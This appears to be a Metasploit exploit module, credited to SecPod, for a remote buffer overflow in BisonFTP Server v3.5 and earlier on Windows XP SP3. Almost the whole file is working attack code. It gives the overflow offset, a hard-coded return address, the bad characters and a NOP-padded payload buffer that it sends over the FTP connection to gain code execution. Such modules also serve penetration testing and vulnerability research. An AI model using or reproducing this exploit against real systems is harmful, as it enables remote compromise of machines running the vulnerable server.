| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 | ############################################################################## # # Title: BisonFTP Server Remote Buffer Overflow Exploit # Author : Veerendra G.G SecPod Technologies (www.secpod.com) # Advisory : http://secpod.org/blog/?p=384 #http://secpod.org/msf/bison_server_bof.rb # Version: BisonFTP Server <= v3.5 # Date : 09/07/2011 # ############################################################################### ## # $Id: bison_server_bof.rb 2011-08-19 03:13:45Z veerendragg $ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = GoodRanking  include Msf::Exploit::Remote::Ftp  def initialize(info = {})  super(update_info(info,  'Name' => 'BisonFTP Server Remote Buffer Overflow Vulnerability',  'Description'=> %q{  This module exploits a buffer overflow vulnerability  found in the BisonFTP Server <= v3.5.  },  'Author' =>   [  'localh0t', # Initial PoC  'veerendragg @ SecPod', # Metasploit Module  ],  'License'=> MSF_LICENSE,  'Version'=> '$Revision: 1.0 $',  'References' =>  [  [ 'BID', '49109'],  [ 'CVE', '1999-1510'],  [ 'URL', 'http://secpod.org/blog/?p=384'],  [ 'URL', 'http://www.exploit-db.com/exploits/17649'],  [ 'URL', 'http://secpod.org/msf/bison_server_bof.rb'],  ],  'DefaultOptions' =>  {  'EXITFUNC' => 'process',  },  'Payload'=>  {  'Space' => 388,  'BadChars' => "\x00\x0a\x0d",  },  'Platform' => 'win',  'Targets'=>  [  [ 'Windows XP SP3 EN',  {  'Ret' => 0x0040333f, # call edx from Bisonftp.exe  'Offset' => 1432  }  ],  ],  'DisclosureDate' => 'Aug 07 2011',  'DefaultTarget' => 0))  end  def exploit  connect  print_status("Trying target #{target.name}...")  print_status("Connected to #{datastore['RHOST']}:#{datastore['RPORT']}")  sploit = rand_text_alpha(1028) ## Random Buffer  sploit << "\x90" * 16 ## Padding  sploit << payload.encoded ## Encoded Payload  sploit << "\x90" * (388 - payload.encoded.length) ## More Nops  sploit << [target.ret].pack('V') ## Return Address  sploit << rand_text_alpha(39) ## MOre Buffer  print_status("Sending payload...")  sock.put(sploit)  handler  disconnect  end end |